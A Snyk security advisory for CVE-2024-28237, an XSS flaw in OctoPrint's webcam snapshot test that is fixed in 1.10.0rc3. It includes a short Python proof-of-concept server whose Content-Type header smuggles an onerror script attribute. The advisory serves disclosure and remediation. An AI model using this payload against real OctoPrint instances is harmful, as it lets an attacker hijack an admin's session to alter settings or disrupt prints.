Cross-Site Scripting (XSS) Affecting octoprint package, versions [,1.10.0rc3)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-Site Scripting (XSS) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-OCTOPRINT-6457567
  • published19 Mar 2024
  • disclosed19 Mar 2024
  • creditJacopo Tediosi

Introduced: 19 Mar 2024

CVE-2024-28237  (opens in a new tab)
CWE-79  (opens in a new tab)

How to fix?

Upgrade OctoPrint to version 1.10.0rc3 or higher.

Overview

OctoPrint is a snappy web interface for your 3D printer

Affected versions of this package are vulnerable to Cross-Site Scripting (XSS) due to the misconfiguration of a webcam snapshot URL which, when tested through the "Test" button in the web interface, will execute JavaScript code in the victim's browser during the attempt to render the snapshot image.

An attacker who successfully convinces a victim with admin rights to perform a snapshot test with a maliciously crafted URL could use this to retrieve or modify sensitive configuration settings, interrupt prints, or otherwise interact with the instance in a malicious manner.

PoC

from http.server import BaseHTTPRequestHandler, HTTPServer

class MyHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'image/"onerror="alert(1)"')
        self.end_headers()
        self.wfile.write(b'Ok')

def run():
    server_address = ('', 8080)
    httpd = HTTPServer(server_address, MyHTTPRequestHandler)
    print('Server listening on 0.0.0.0:8080...')
    httpd.serve_forever()

if __name__ == '__main__':
    run()

References

CVSS Scores

version 3.1